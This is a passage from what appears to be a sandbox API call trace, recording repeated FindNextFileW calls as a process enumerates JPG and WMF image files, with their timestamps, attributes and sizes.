lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1 [0240.424] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1 [0240.424] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1 [0240.424] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1 [0240.424] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c5e300, ftCreationTime.dwHighDateTime=0x1bdbf70, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c5e300, ftLastWriteTime.dwHighDateTime=0x1bdbf70, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1 [0240.424] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a35900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a35900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1 [0240.424] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a05b300, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a05b300, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1 [0240.424] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50dbc900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50dbc900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1 [0240.425] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d84e00, ftCreationTime.dwHighDateTime=0x1c026b6, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5d84e00, ftLastWriteTime.dwHighDateTime=0x1c026b6, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1 [0240.425] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7962500, ftCreationTime.dwHighDateTime=0x1c03d89, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7962500, ftLastWriteTime.dwHighDateTime=0x1c03d89, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1 [0240.425] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912cb00, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa912cb00, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1 [0240.425] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1 [0240.425] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1 [0240.425] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1 [0240.425] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x955d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1 [0241.090] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1 [0241.090] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1 [0241.091] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1 [0241.091] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1 [0241.091] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1 [0241.091] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1 [0241.091] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1 [0241.091] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1 [0241.092] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1 [0241.092] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1 [0241.092] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1 [0241.092] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1 [0241.092] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1 [0241.092] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1 [0241.093] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1 [0241.093] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1 [0241.093] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1 [0241.093] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1 [0241.093] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1 [0241.093] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1 [0241.093] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1 [0241.094] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1 [0241.094] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1 [0241.094] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1 [0241.094] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1 [0241.094] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1 [0241.094] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1 [0241.094] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1 [0241.095] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1 [0241.095] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1 [0241.095] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1 [0241.095] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1 [0241.095] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1 [0241.095] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: 